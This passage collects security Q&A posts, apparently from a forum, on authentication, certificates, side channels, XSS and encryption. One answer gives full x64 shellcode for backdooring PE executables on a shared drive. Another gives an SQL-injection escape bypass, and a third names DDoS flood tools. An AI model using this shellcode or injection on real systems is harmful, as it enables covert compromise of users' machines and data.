For instance, Twitter allows you to register, once you register it logs you in. There is a message displayed you must verify your email to use the site, but the site is still usable without it.

Facebook also has a similar procedure where you can login without verifying. Most of the features are available too, such as being able to write to the servers (posts tweets and statuses), and read information.

My question is what could be the thought process here? If you allow for people to login without verifying, what is the point of email verification? How does email verification then provide much extra security?

Email verification doesn't provide extra security.  It just validates than the newly registered user is the legitimate owner of that email address.

For security concern a best practice for a web site would be not to send any email to an unconfirmed email address.  This prevent leaking information to someone who mistyped his email address.

Anyhow you should encourage users to confirm their email address quickly : very often the email address is the primary way to recover a lost password.  A user with an unconfirmed email address and a lost password would be screwed up if there is no alternate way to recover his password.

Moreover, if the mistyped email address is actually the address of someone else, this person may confirm the email address and use the password recovery to get access to the user original account.


Business systems development (.NET, Java) vs IT Security Field, salary/future perspective What are the career prospects for young professionals, when comparing IT Security field (penetration testing, vulnerability research) to business development on .NET and Java?

Which path should one take when we speak about salary and future prospects? Or, is there no obvious answer, everyone should pick what he likes more?

If I understand your question, you are talking about how your skills would be received (and then compensated) by employers and clients. I say this because one's salary comes from an employer who wants what you can do for them. If so, then I might shift the discussion a little.

There are many, many programmers out there. To make yourself attractive to employers and clients and to command a high salary, then you have to provide value equal to the compensation you seek. To do that, you either need to be in a niche that others need, or have a skill level that is easily recognized to be valuable. Is this hard to do? Not necessarily, if you understand the needs of the people you wish to serve. It's not about how good you are compared to other programmers, but how good you are at meeting the needs of employers and clients.

IT Security, is no different, but the playing field is skewed. The field is constantly mutating, needs and demands shift, and the entire definition of a 'career' in this field is in flux. At this point, you cannot study an established set of skills and trust that you would be in demand. Instead, you would need to be constantly aware of what is in demand and adjust accordingly. In this way, it is difficult to compare IT Security and a Programming career.

So, which path might be better? There might not be a way to answer that from the perspective of a future self looking back on a chosen career path. The benefit to a Security career is that it might be easy to find ways to meet market demands in creative and unexpected ways, and in that way, you could easily start off with a solid and profitable foundation. On the other hand, the shifting murk of the field might make it difficult to find a profitable base in the beginning.

Because of the uncertainty, IT Security is a 'labour of love', and those who engage in it do so because they are excited by the field.

In the end, as I said before, profitable careers are about your ability to meet the needs of the employer or client. It is not about doing what you like, having the right skills, achieving high grades, reading the right books, or how you compare to others. It's about being laser-targeted on solving other's problems. Do that, and your career is bright.


Any reasons for using "Basic HTTP" authentication? I'm building a simple API that will be used in an android app (that only about 3-4 users will ever have). The app connects to the server and sends GET/PUT requests.

I've read through my googling that if you are using SSL, sending passwords as plaintext without encrypting them with something like HMAC is OKAY.

People, do, however, recommend that you use "basic authentication" which is basically username:password encoded in base64 in the HTTP header. Is there a reason why I shouldn't just send the body fields "username" and "password" unencoded if I am using SSL? If a hacker really was to somehow get through the SSL why would it matter if it was encoded using base64? Surely if he is able to somehow get through the SSL he would be able to base64 decode?

Just wanted your opinions on if I should even bother doing base64 encode, thanks.

The point of difference between using HTTP Authentication vs Application specific authentication is where you want the authentication and authorization logic to be handled.

HTTP Authentication means that the HTTP layer (apache, nginx, IIS, etc) will responsible for maintaining authentication. Application authorization means that the web application (java, php, django, etc) would control authentication and authorization.

Why the difference?

Remember that HTTP is stateless. Thus, by adding an authorization component, HTTP can prevent or allow users to access certain resources. The most likely use of this kind of authorization is when you don't have any application logic yourself. For example, if you want to allow file directory browsing in apache, but only to certain users, you can modify the .htaccess file to restrict the directory to certain users.

However there are many reasons why applications handle the authorization logic instead of the HTTP server. First, most applications handle sessions. This is done by using cookies. Thus, only the cookie value must be retransmitted. If you are handling sessions in the application layer, it will almost always be easier to handle authorization in this layer as well. Almost always, sessions are preferred because the content of your application will be dependent on "who" is doing something.

But my application can read the HTTP Headers, why use forms if HTTP provides a mechanism?

A further benefit to using sessions includes the implicit ability to log out. Because HTTP authorization has no concept of a session, you can't really log out. It would be up to the browser (or in your case, the Android application) to forget the credentials, but the server has no control over it. Even if your server wants to enforce some kind of log out, it can't with HTTP Authorization.

Security benefits of form based authentication

Because form based authentication generally involves sessions, it is usually more secure, so long as the security of your resources are dependent on sessions.

Security benefits of HTTP Authentication

HTTP Basic authentication is worse than forms based authentication because of the lack of sessions. However, you can get some benefits by using HTTP Digest Authentication, which computes hashes against credentials and nonces to avoid sending plain text credentials. Thus there is a tradeoff between sending clear credentials or letting the server side application maintain the session.

Can't I compute hashes on the client side before transmitting the credentials?

For browser based applications, many people think using javascript to compute a hash before sending a credential is better than using a plain text password, but these people are wrong. In order to protect the password, the server sends client code that it must run. However, if an attacker is in a position to talk to the client, he can substitute this code for his own. Thus, the security benefit of using javascript to compute a hash is so minimal it is rarely done.

Since you mentioned using this API within an Android Application, hashing does make sense. Because you can compute the hash with a predefined client routine, there are clear benefits to using a hashing mechanism as described in RFC 2607. I would still recommend performing authorization in the application layer though, as you want to manage sessions for a user.


Does chrome still use SSL after certificate warning? We use a third party service which if I put its URL in the browser   , it display :

Looking at the certificate itself :

Questions:

1 - If I click "Proceed to x..." - Is the channel  still using SSL to transfer the data  ?

2- Am I safe to a middleman attack ?

3 - What other (if any) attacks am I exposed to ? ( except identity verification)

The reason

  This certificate cannot be verified up to a trusted certification
  authority

means that the issuer of the certificate is not known to Chrome. It may be a legit certificate (eg. signed by the server owner itself, or by an organization for internal use), or it might be a malicious middleman.
It might help to ask Chrome for more details and post that here - another possibilty is a real CA that fell out of favor recently. There are some cases where browsver vendors stopped to ship a certificate of a certain CA because they messed up in some way (eg. giving out certificates without any check that the applicant is a real person and owns the server)

  If I click "Proceed to x..." - Is the channel still using SSL to
  transfer the data

Yes - your connection to the other side is still encrypted. The problem is, what is "the other side". You have no guarantee by some publicly known CA that it is really the server you want.

  Am I safe to a middleman attack ?

No.

  What other (if any) attacks am I exposed to ? ( except identity
  verification)

As the server might not be the one you expect, everything you send there (or receive from there) might be not legit. It might be a "copy" of your bank site, and the attacker gets your code if you enter it. And so on...


What is the difference between Simple Power Analysis and Differential Power Analysis? What is the difference between Simple Power Analysis (SPA) and Differential Power Analysis (DPA) and why is it not possible to do an SPA attack on FPGAs?

My basic understanding is they are side-channel attacks that analyze power consumption of the target device, thus revealing cryptographic keys.  But I'm still not clear what the difference is between the two and why one attack works on FPGAs but not the other.

I would appreciate if somebody could clarify what SPA and DPA are or point me to a tutorial / guide that explains these attacks.

Simple Power Analysis (SPA) involves measuring variations in power consumption of a device as it performs an operation, in order to discover information about secret key material or data. This is achieved by mapping certain operation types to consumption patterns. For example, a series of exclusive-OR operations exhibits a different trace on an oscilloscope to a series of multiplication operations.

A good example of this is RSA, which has to perform large multiplications, and therefore leaks information about the internal state of a large integer multiplication via the pattern of operations it performs.

Another trick involved in SPA capitalises on the fact that digital signals are represented physically by high and low voltages, and therefore a 1 being signalled uses more power than a 0, for the time period that that bit is being transmitted. If accurate enough analysis can be done, we can compute statistical models that predict the contents of a bit-stream within a reasonable margin of error.

Whilst relatively simple single-purpose systems (e.g. smart cards) are usually only performing a single operation, more complex systems are usually performing several operations at once. A modern desktop computer uses technologies like DMA, which allow hardware to access system memory directly, without interrupting the processor. All of these signals run in parallel, generating a huge amount of noise. On top of that, mechanical hard drives contain components that generate various current spikes, adding to the noise. Trying to identify the statistical patterns of a single 133MHz+ data signal in such a system is exceedingly difficult!

This is where Differential Power Analysis (DPA) comes in. In order to improve the chances of success, DPA involves analysis of power consumption when normal non-cryptographic operations are being done, then further analysis during the cryptographic operations. The two statistical models are compared, in order to "subtract" the noise from the signal. This technique is actually common among audio engineers, who sample background noise (e.g. hiss) on its own, do an FFT analysis of it, then produce an EQ-like filter model that reduces the levels for those frequencies. It's more complex in DPA (often FFT alone is too primitive) but the principle remains true.

Of course, this is still a very difficult model to compute, but even a 51% successful prediction rate is useful when dealing with cryptographic keys; bruteforcing a 128-bit key is orders of magnitude easier when you can prioritise higher-confidence predicted bits -  a 51% success rate gives us an effective expected key space of 125.5 bits instead of 128 bits.

FPGAs can't really be attacked with SPA because they're "parallel" in nature. They don't really work like a normal microprocessor, instead they're a series of parallel logic gates that all operate in unison on a single common clock signal. As such, SPA can't identify separate "signals" because every internal component does the same thing on every clock cycle. Microprocessors, on the other hand, often have separate internal die sections that can be independently clocked, and which route and multiplex signals in real-time. This is all somewhat of a generalisation, since some more modern complex FPGAs do have microprocessor-like internals alongside the static logic, which may be vulnerable to SPA.


SQL Injection Escaping Challenge Security Shepherd I am using Security Shepherd as a training tool and I am now in the challenge, SQL Injection Escaping Challenge.

The Challenge:

When I make a query just like the one above (just with different table names) in a local database in MySQL it works just fine (I am making the assumption that Shepherd uses MySQL in this challenge since it is the only type of DBMS I have faced until now).

Any idea why the above query might not work as a SQL injection?

The query being used by the backend as mentioned in the hint of the challenge is:

SELECT * FROM customers WHERE customerId="1" OR "1"="1";

The application is escaping any ' by making it \'as a protection against SQL injection. It does not change the ".

Short answer: Abuse how their escape works. Try \' OR 1=1; --.

Long answer:

Their escaping function works by replacing every ' with \'. All of them, including ones already preceded by backslashes. That means that if they see \', that'll end up becoming \\' -- an escaped backslash, followed by an unescaped single quote.

After that, it's standard SQL injection. OR 1=1 gets every row in the database, ; terminates the statement, and -- comments the rest out, so that their close quote, end of statement, other conditions, etc. get ignored.


How do user get access to login when passwords are stored in MD5? MD5 is a hash, so it is a one-way cryptographic function. But I am not sure that MD5 has only one hash per input?

Web application stores the passwords hashed with MD5, but when the user enters the password how can the application give access to that user? As the users password will be a hash with another string which is different from the older one.

And how do MD5 dictionaries work? We can get the reverse of the input, but how does it actually work?

MD5 is deterministic, meaning that if you hash the same input multiple times you will always get the same answer. So to see if a password provided by the client is correct, the server can just hash it again and see if the hash is the same as the stored hash.

Similarly, a MD5 dictionary works because someone has hashed common passwords and stored the results. If your hash is in the list, you can just look it up and see what input it corresponds to.

I think your central misunderstanding is that MD5 could give different results for the same input. It does not.

Also note that MD5 is not a safe algorithm to use for password storage. For how to do password hashing right, see this question.


DDoS prevention (LOIC doesn't do the job anymore) We are about to launch a important webservice. We must test it for DDoS. From other questions/answers here I learned about LOIC. Downloaded, tried, but my apache refuses it.

What other ready made tools are out there so I could CRITICALLY test our serwice?

Any good tutorials on how to do it via shell/bash?

You can try tools like Seige, BoNSI from Backtrack, these are easy to use and "program name -help" should guide you.
If you are looking something commercial then http://blitz.io is another option.


Using different host key algorithms on sftp server and client I need to setup a sftp client the problem i am facing is that sftp client library i am using does not support the host key algorithm supported by sftp server. Basically I am talking about the public key authentication here. My sftp server would send me key generated with EC and my client would send key generated as RSA key. Will these keys be used for anything else after authentication?
Note, I am using Renci.Ssh.Net as client library.

(After Q edit)

In SSHv2 (the only one anyone still uses) yes, both the (selected) host key and the client key if any are used only for authentication; the client software must support receiving (and verifying) the host's key type (in your example EC) and the host software must support receiving the client's key type (RSA).

The session key is created using ephemeral Diffie-Hellman (including ECDH or X25519 in modern systems) not the user-visible 'pubkey' files and algorithms, and the two data ciphers (and MACs if applicable) are negotiated separately and use working keys (and IVs if applicable) derived from the session key.

This is mostly described in RFC 4253 especially 6.5, 6.6, and 7. Some options are in other RFCs; see https://en.wikipedia.org/wiki/Secure_Shell#Standards_documentation or http://www.openssh.com/specs.html .


How do the authorities know who's downloading protected software? Out of curiosity do the web based file hosting services such as Oron and Rapidshare store information about who downloads what? I ask because I'm wondering, when someone is "caught" downloading something do the authorities catch them based on analyzing the traffic to their computer or is it more of the office of Oron/Rapidshare/etc. is raided and the log files are seized and used to determine who's downloading what?

Yes, web service providers of all kinds store some information about their users and users' activities. For various reasons — infrastructure monitoring, resource allocation, targeted advertisement… That information can be obtained by authorities with a warrant, subpoena, or a polite request, depending on the provider, type and amount of data. Here Google for example provides a map with requests broken down by country.

Raiding is usually not necessary, though happens sometimes. Even Megaupload provided information requested by the authorities with a warrant and held on to the potential evidence.

The situation is a little different for p2p networks. There, evidence against users is usually provided by companies doing active monitoring of the "swarm" by joining it and downloading data from users to confirm that they are indeed sharing copyrighted materials. Torrentfreak obtained some insider details a few years back and the general idea remains the same.


Secure authentication cookie for web site Hello i want to know if this auth token is secure enough for a site of millions of logged in users:

BAQAAAT7Y/BHPAAaAAJ0AAaAKLZowMDAwMDAwMAFkAAJTii2aI2EACAAeUdCHGjEzNjk4NDUyOTl4MzIxMTMzOTcyMjA0eDEwMXgyWQAzAAlTii2aNjUwMTAsSVRBAMsAAVGpASIxABAADlOKLZpyb2JlcnRvcGFzc2VyaQBAAA5Tii2acm9iZXJ0b3Bhc3NlcmkA8wAiU4otmiQyJFA3enZoS2xTJGY5Ly9sUTRVcWNGQkJwd25DODE2ZDAAygAgWw77mmE1NmNiN2U5MTNlMGE1NjFjNTU2MDMwNmZmODRmOTMwAU0AGVOKLZo1MWExZGRmYS4xMDEuMS43LjQ2LjAuMC4yAAQADlODEWdyb2JlcnRvcGFzc2VyaQCcADhTii2ablkrc0haMlByQm1kajZ3Vm5ZK3NFWjJQckEyZGo2dvvv0Zrb0dsREpXS29RdWRqNng5blkrc2VRPT0BTAAaU4otmjUxYTYyZTMzLjEwMS4xLjMuMTAwLjEuMC4yreIRtwcAv5JgOcJxVKcOY7Jx1X0

With 10 million connected users how much hard is to guess a valid token?

Which features should it have?
Consider that the content of the cookie travels up and down the server to each request so it can't be too easy

It is safe to set this cookie via HTTPS but read it in each HTTP page?

So here's how this works: we tend to consider 128 bits of random data unguessable. See Why so long to break 128-bit encryption? for some talk about that.

What you want to do is calculate the birthday attack. There are some other questions talking about this in What are the chances to generate the same ssh key? and What is the collision chance of a 128-bit hashing function if it is always fed with 256-bits of data?.

Your token there looks like it's Base64 encoded, so it provides 6 bits per character. That's over 3,000 bits of data. Encode something smaller (128 bits raw, 170+ in B64) and save yourself the bandwidth.

For the second part of your question, see How is an HTTPS login secure when pages use HTTP?.


Does two factor authentication prevent social engineering attacks After reading this article from symantec I got to think how much all these social engineering techniques rely on the authentication system of users, a password.

Considering three different additional methods of authentication, smartcard, mobile phone and biometrics, how much do these make social engineering harder?

A smart card that is not easily copyable can be still borrowed out too a "friendly" sys admin. A mobile phone is maybe not so easily borrowed out, but users will be happy to read the authentication code from it. Biometrics seems harder, but depending on the system the biometrics (like fingerprint) can be "copied".

With just password authentication, social engineering attacks seems to be the weak link. Will using any of the two-factor methods described above make social engineering so hard that hackers will not even bother trying?

Social engineering is hard to mitigate problem. Why? Because it's targeting the weakest security point of all system: users.

So indeed, the more complicated the system is, the more complicated for attacker it gets. But usually, they get information because someone does not respect the protocol, e.g. sending confidential data by fax, giving information to people they did not authenticate by phone. So even if you put on fingerprint solution, with 3 access card and a guard supervisor, if the authenticated users gives the last draft to someone they think is a colleague by mail... all of this is vain.

The best prevention against Social Engineering is : awareness. You will have better to form user not to do bad things than hardening process. The more complicated the procedures gets, the harder users will try to avoid it because they thing they will lost time. And people don't like is. But if you can show them example of bad behaviour, or company that gets "hacked" by social engineers etc, they may understand that the measures are here for the good of the security. But if anyone is ready to give their password to their "admin" over the phone... this is hopeless.

As a conclusion, two factor authentication may improve security against social eng. in that way it could make people aware that credentials is really theirs and are part of their identity (e.g. fingerprint is part of your body). But all security measures would be useless without a good awareness of users.


Cryptography in disaster recovery If cryptography certificates are used in production environment and the production environment is replicated to disaster recovery, would the same certificates be valid for the disaster recovery environment?

As long as you have the certificate key pair (public and private), any computer can act as identified by the the certificate CN (common name). This is suppose to match the FQDN of your service, or else many browser will fail the authentication on the client side without even checking the signatures.

Provided that you use a reverse proxy (or DNS changes) to switch from production to recovery server, the transition can appear seamless to the client.


What is the significant difference between a Rogue Access Point & Client Mis-Association As the title states, how can I differentiate both of them.

Client Misassociation just describes that the client will automatically connect to the device since it assumes that it is a previously trusted one, i.e. same SSID and maybe same MAC too. Rogue AP just means that the AP is malicious.

These two terms describe different aspects: It might be possible that the device connects automatically to a rogue AP due to client misassociation. But a user might also explicitly connect to the rogue AP since it believes that it is fine (i.e. trust sounding name like "Free City WiFi"), i.e. without client misassociation. And misassociation might also happen because of conflicting configurations and the AP does not actually need to be rogue.


xcodeghost infection in a byod device We detected network traffic from a device infected with xcodeghost trying to reach a known bot command and control address.  Obviously, we removed the device from the network.  The user removed two applications that were mentioned in articles about xcodeghost, but we really have no way to be sure that those were the culprit apps do we?  If we let them reconnect, we run the risk that we won't detect further traffic to other, unknown bot networks.
My first instinct is that we should force this user to re-image the device before we allow them to reconnect to the network.  I think I've answered my own question, but I wanted to check here to see:

do any tools exist to detect and/or clean xcodeghost.
Has anyone here dealt with xcodeghost on a byod device?  What was the resolution?

I've not yet discovered any tools to detect/clean devices infected with xcodeghost but as far as the remediation goes for cleansing BYODs that are infected with malware, make sure to check the BYOD policy first of course!  If it's stated in your policy that wiping a user's personal device is a possibility then I see no reason not to use that option.  It's pretty much the most efficient way of ensuring the malware is 'gone'.  Well, aside from banning their device from the network.  Whether that's physically banning the device from the work site, MAC filtering, blacklisting on routers/firewalls etc.


Security Vulnerabilities and Risks for an Information only website (XSS) My website is an information only website and all the information on it is  available to all those who visit the website.

There is no sensitive data. And we do not store any user submitted data nor there are user accounts \login. There are no forms for the same and the the ones available are mostly drop-down values with an exception of a few.

Considering all this, how important is security on my website and what are the attacks that I need to be careful about?

Most of them in the report are under the below category. I believe all we need to do here is to make sure all the forms do not accept contents with html tags?

Reflected Cross-site scripting (XSS)

Any help?

Damage of XSS on Information-only Website

Yes, XSS is an issue even on an information-only website with no user accounts or personal information.

What can happen:

Phishing: It's true, an attacker cannot try to get information that is specific to your website - such as login credentials - as they do not exist. But - depending on your website - they can still exploit the trust a user has in your site to gather information from the user.
Defacement: An attacker can change the look of your website any way they want. They can add false information, they can add inappropriate images, and so on. Depending on your website, this may have rather large ramifications.
Open Redirect: May be used in phishing attacks.
Drive-By-Downloads: An attacker may exploit issues in the browser leading to drive-by-downloads, or may add links to harmful files to your website.

As you can see, the damage results from two things:

A user has trust in your website, which may be exploited to harm the user (but not your website).
XSS can be used to cause harm to the image of your website, and thus to the image of your organization.

You should also keep in mind that:

Your website may change, and may later include a user area or an administration area.
There may be other applications on the same domain, which do have such areas, which may thus be exploited via XSS in this application.

Defending against XSS

  I believe all we need to do here is to make sure all the forms do not accept contents with html tags?

Not really. For proper defenses against XSS see OWASP.

Not accepting HTML tags may not be enough, think <img src="[USER_INPUT]">.

Other Risks to Information-only websites

  Considering all this, how important is security on my website and what are the attacks that I need to be careful about?

Security is still relevant, even for information-only websites.

You probably do not want an attacker gaining complete control of your server, so at the very least, these are issues you should be concerned about:

Injection: SQL Injection may be used to DOS your server, and depending on the specifics, an attacker may gain control of your server with it. OS command injection is obviously also relevant, you really don't want an attacker to have complete control of your server.
Insecure File Uploads: You definitely do not want people to upload any file they want.
Other vulnerabilities that attack the server may also be relevant, such as XXE, Object Injection, DOS in general,

Any vulnerabilities that are linked to authentication or authorization - such as broken authentication, insecure direct object reference, etc - are probably not relevant to you - at least for now.


How should privileged users keep each other in check? In order to protect systems from insider attacks, companies can apply policies restricting their access. In the case of an employee's termination, the IT department can disable their account before they receive the news to prevent potential damage by a disgruntled employee. In a large organisation, how should essential services be safeguarded against their administrators? Granted, hopefully someone in such a position would be responsible enough not to abuse it - but I'd think the system should be designed with protections in case.

In essence: if the IT department can control the access of regular employees, who controls the access of the IT department? And what damage mitigation methods are there if someone at the highest levels of privilege decides to cause havock?

This comes back to the "separation of duties" and "least privilege". In a ideal situation, admins in the IT department would not have access all across the board. One admin might have complete access to one system and another admin would have access to another system. This attempts to limit the exposure if someone in the IT department did try to do something malicious.

In reality, this is easy to put in policy but very hard to enforce and regulate. At some point, you have to trust someone to perform the most important tasks on a system,server, etc. The idea is to make it difficult for a single individual to wipe out a critical system.

There are also many controls one can implement. One of the most important controls would be auditing. Making it known that any action taken on a system is being recorded and tracked back to a specific individual might turn away a internal attacker. At the end of the day, you have to trust someone and in my personal experience, admins are aware of more weak points than less privileged users.


backdooring PE static file During a pentest, I have found a network share with plenty of binaries (.exe) available with RW rights. The purpose of this share is to make available for users generic tools. However, any authenticated user can edit them and add payload in it. I want to provide a demonstration to show the feasibility of this.

Basically, what i achieved so far boils down to:

1: create a new section in the sections table,
2: add empty bytes at the end of the file, at address and size according to those in the new section definition,
3: put a shellcode at the first byte of the empty section added,
4: change EntryPoint to point to this first byte of the shellcode.

When I execute this, my payload gets launched.

Now, I would like to redirect the execution flow to the former EntryPoint, to execute the real program. I have thought a simple jmp to the original EntryPoint would be enough. In fact, my shellcode does execute, but blocks the execution of the process (which is in fact totally normal).

I have thought launching my shellcode in a separate thread. I need for this to reach the address of functions such as createThread. I have really no idea on how to do this.

Furthermore, when I quit my meterpreter session, the shellcode should execute the last jmp instruction to reach the original .text section. Instead, it just terminates.

My knowledge on ASM and shellcodeprogramming is kinda low :/ I would really appreciate having a few pointers on doc I may have missed the perform this demo. Furtivity will not be a concern as the demo computer won't have any AV. Many thanks for helping!

In order to do pretty much anything apart from crash the executable your shellcode will requires the use of the Windows API (CreateThread, LoadLibraryA etc).
This can be achieved by implementing a custom GetProcAddress function.

To return execution to the OEP (original entry point) you can use CreateThread, or "jmp" to the address. In order for the shellcode to have access to this address it needs to be hard coded into the code body.

The first instruction in the shellcode below moves 00000000 to r15. Your pe infection code needs to overwrite the first 6 bytes of the shellcode with:

mov r15d, [entry_point]

Where [entry_point] is the OEP RVA.

I wrote an entire answer (it got deleted) some shellcode for you:

mov r15d, 00000000h        ;this is 0x41BF00000000

;align stack
and rsp, 0FFFFFFFFFFFFFFF0h

;code to get the base address of ntdll.dll
mov r8, gs:[60h]                ;PEB
mov r8, [r8+18h]                ;PEB->Ldr (_PEB_LDR_DATA)
lea r8, [r8+10h]                ;_PEB_LDR_DATA->InLoadOrderModuleList (LDR_DATA_TABLE_ENTRY)
mov r8, [r8]                    ;_LIST_ENTRY->Flink (_LIST_ENTRY)
mov r8, [r8]                    ;_LIST_ENTRY->Flink (_LIST_ENTRY)
mov r8, [r8]                    ;_LIST_ENTRY->Flink (_LIST_ENTRY)

;save the base address (kernel32)
mov r12, [r8+30h]

;setup loop
mov r8d, dword ptr[r12+3ch]     ;IMAGE_DOS_HEADER->e_lfanew (DWORD) (Offset to IMAGE_NT_HEADERS64)
lea r8, qword ptr[r8+r12+88h]   ;add DllBase to the e_lfanew offset + 88h
                                ;18h - IMAGE_NT_HEADERS64->OptionalHeader (IMAGE_OPTIONAL_HEADER64) 18h bytes
                                ;70h - skip entire IMAGE_OPTIONAL_HEADER64 structure
mov r8d, dword ptr[r8]
add r8, r12

mov r9d, dword ptr[r8d+18h]     ;IMAGE_EXPORT_DIRECTORY->NumberOfNames (DWORD)s

fl:                             ;function loop
    dec r9                      ;start at end of array
    mov r10d, dword ptr[r8+20h] ;IMAGE_EXPORT_DIRECTORY->AddressOfNames (DWORD)
    add r10, r12                ;add dll base
    lea rcx, [r10+4*r9]         ;AddressOfNames[i] - function string RVA (relative virtual address)
    mov ecx, [rcx]
    add rcx, r12                ;add dll base

    ;hash the funtion name

    mov rax, 5381d
    hl:                         ;hash loop
        mov rbx, rax
        shl rax, 5
        add rax, rbx
        xor al, [rcx]
        inc rcx
        ;check for null termination
        cmp byte ptr[rcx], 00h
    jne hl
    ;hash complete
    mov rbx, 00b9a3b50901ed9addh ;LoadLibraryA
    cmp rax, rbx
jne fl

xor rax, rax                    ;make this more efficient (lol not gonna happen)
mov r10d, dword ptr[r8+24h]     ;IMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals (DWORD)
add r10, r12                    ;you know this by know right?
mov ax, word ptr[r10+2*r9]      ;AddressOfNameOrdinals[2*r9] - (2*r9 = 2 bytes * function name counter) + AddressOfNameOrdinals (WORD)

mov r10d, dword ptr[r8+1ch]
add r10, r12
mov eax, dword ptr[r10+rax*4]   ;AddressOfFunctions[4*r9] - (4*r9 = 4 bytes * function ordinal) + AddressOfFunctions (DWORD)
add rax, r12

lea rcx, [dll_name]
sub rsp, 20h
call rax
add rsp, 20h

;jump to the OEP
jmp r15

dll_name db "dingbong.dll", 0

Breakdown:

The shellcode accesses the gs register to retrieve a pointer the Process Environment Block (PEB)
The PEB is used to find the base address of kernel32.dll
Each exported function name from kernel32.dll is hashed and compared against a pre-hashed "LoadLibraryA".
The address of the LoadLibraryA function is retrieved by parsing the export table
"dingbong.dll" is loaded by the infected process

Helpful links:

https://win32assembly.programminghorizon.com/pe-tut7.html - export table

http://docdro.id/975yoLC - pe format


Is it possible to digitally sign an email twice? User A encrypts an email with the public key of user B and digitally signs it. User B receives this message and decrypts it. B wants to forward it to user C, encrypts it with C's public key and signs it again.

Is it possible to send user C an email was that digitally signed by both user A and B? Or can an email only have one digital signature?

It depends on the order of operations. If A signed the email and then encrypted it with B's public key, then when B decrypts the email, the signature is still valid, and thus B can sign the email signed by A and encrypt it with C's public key. When C receives the email, they can decrypt the email and check both signatures and all is well.

If however A encrypted the email before signing, there would be no valid signature left after B decrypts the email. And so there would be no way to have C verify A's signature.

As cremefraiche points out clearsigning the message before encrypting will allow both signatures to be verified.


SQL field level encryption, how safe is it? I am considering encrypting my database and/or encrypting only certain columns in a few tables. Is it worth the time? I mean, how much of a burden would it be on someone if they were to get a hold of my encrypted database? Has anyone even found a way to break this?

If you are interested in using column level encryption in SQL Server 2005 and higher I have a bunch of sample code of how to use the built in encryption features in SQL Server to secure sensitive data.  The code is all available at http://sqlcrypto.codeplex.com/

In the code I show how to encrypt sensitive data and ensure that only authorized users can decrypt it.  I take advantage of the built in key management functionality and have strong randomly generated symmetric AES key managed by the database engine and those AES keys are then secured with certificates.  Database roles control who has access to which keys and with the built in SQL Server encryption you can even use passphrases to additionally secure keys or certificates so that you don't even have to trust your DBA if the data is that highly sensitive.  Having said that, if you don't trust your DBA then you have other problems :)

Since SQL Server does the right things with encryption (ensuring unique IVs) you cannot search encrypted columns without doing a table scan and decrypting every row to see if there is a match. I provide some sample code for building an HMAC of encrypted data so that you can at least do a basic search without leaking cleartext information.

I also have examples of how to store salted, stretched hashes of passwords using both the built in hashing algorithms (which are insufficient for production use) and a SQLCLR implementation of the bCrypt hashing algorithm for much better password storage.

There is also some sample code to show the use of transparent data encryption to encrypt the full contents of your data and log files on disk.

Some of the advantages to using the built in encryption are:

Great key management, the server does the right thing when generating encryption keys and uses multiple levels of encryption to protect the keys
Correct encryption the server ensures that every piece of data is encrypted with a nonce IV every time it is written, that means that someone cannot look at two encrypted values and determine that they are identical cleartext values.
Optional integrity checking of encrypted columns to ensure that someone cannot just overwrite an encrypted value with another encrypted value
Portability, you can access your data from multiple platforms without having to deal with headaches of differences in the platform implementations working differently.
Good data at rest security, the encryption is done before any log or data pages are written to disk so any data logged does not contain cleartext.
Ability to easily follow the principle of least privilege and only grant access to encryption keys to roles and/or users who require them.


encrypting data while in memory What is the best way to protect sensitive text input and store it in memory until form submission is complete and then clear it out shortly thereafter?

I'm looking to protect sensitive information such as patient information and login credentials while being submitted on page in iOS, Android and Windows Phone via a cryptographic method. I need to call an API and check with the server if the information is correct, and if not, ask for re-entry, without having to lose all other valid information.

I do not want plaintext data to linger/persist if user doesn't fully complete the submission form or if data is inadvertently written to page files.

If you are working in a language which gives you access to the memory locations of the strings being entered, you could overwrite the sensitive information with null bytes when the user leaves the page/stops entering input for a certain amount of time.


Where did common "minimum password length" guidelines originate? Not long ago, the common wisdom was that passwords should be at least 8 characters long. These days, the most common minimum is 12.

Where did these common values originate? Interestingly, 8 is exactly the number of characters in "password" - did that have anything to do with the first?

Was there someone in particular who said "8" or "12", and the rest of the industry followed their recommendation? Or was there some common-use OS or application which arbitrarily decided their minimum, which was then duplicated by everyone else?

Unix passwords, with the old DES-based crypt() function, were limited to 8 characters (and the high bit of each byte was ignored). Thus, a lower limit of more than 8 characters would simply not have worked.

The driving force for a minimal password size is brute force efficiency: small passwords are unconditionally weak because trying out all combinations of, say, 7 characters, can be done with relatively cheap hardware and not too much time. In particular, in the case of the old DES-based crypt() function, the computational cost of trying one password is low. Therefore, in an "old Unix" context (typical of computer rooms of the 1980s), a minimum size of 8 is the best that can be hoped for, and you really don't want to allow smaller passwords.

I think the "8" comes from that. The rest is a matter of history, sociology, and bananas.


Is ASP.net More Secure than PHP in GENERAL? In other words, my (long version) question is:  Are developers able to get away with, more using ASP.net than PHP in terms of writing secure code for their apps?

I ask this because ASP.net has many built-in security mechanisms such as SQL injection prevention.  PHP, as far as I know, does not, at least not in that sense.  PHP does give you the tools to do it, like wrapping each query with mysqli->real_escape_string(), but it's my understanding that ASP.net automatically does it for you.  I generally structure my PHP apps in a way that are very secure, but we all know there are countless PHP programmers out there who either do not have basic security knowledge or simply do not care, resulting in tons of vulnerable apps.  I'm wondering that if such careless programmers used ASP.net instead, would some of their carelessness be automatically patched up.

Your question is a bit too broad and a bit opinion-based. That's why this is not a full answer.

PHP has its downsides, and so pretty much every other language. Intrinsically, PHP isn't tangibly less secure than other languages in the same field. PHP has its built-in database abstraction layer PDO that has anti-SQL-injection features such as parameterized queries. PHP also has many security-oriented libraries and frameworks that handles everything from XSS protection to CSRF protection. Other languages have similar features.

In an of itself, PHP isn't weaker than other languages. The issue with PHP is its release cycle, its interpreter's some-time-incompetent developers, and the abundance of wrong and misleading information on the web.

Bottom line is: An incompetent developer will write an insecure application whether with PHP, .Net, or Python. A competent developer will write a relatively secure application with any language they choose, but with PHP it's gonna be slightly more difficult (only slightly).


Do any open-source firewalls support remote management? Remote management is essential if you have to run more than three network devices, and is supported by all commercial firewall products.  For example:

Palo Alto Networks:

  In addition to control and security capability, our next-generation
  firewalls are designed for operations. Our simple, straightforward
  user interface complements the straightforward architecture.
  Automation and integration into larger systems (e.g., automated
  provisioning, SDN) is supported by our XML API.

Juniper:

  Juniper Networks devices running the Junos® operating system (Junos
  OS) support comprehensive automation facilities. Almost all aspects of
  the operation of your network can be managed programmatically or with
  scripts.

Yet a cursory search of open-source firewalls uncovered little evidence that they can be remotely managed.  With one exception, they brag about their GUIs while completely ignoring network operations.  For example:

IPFire

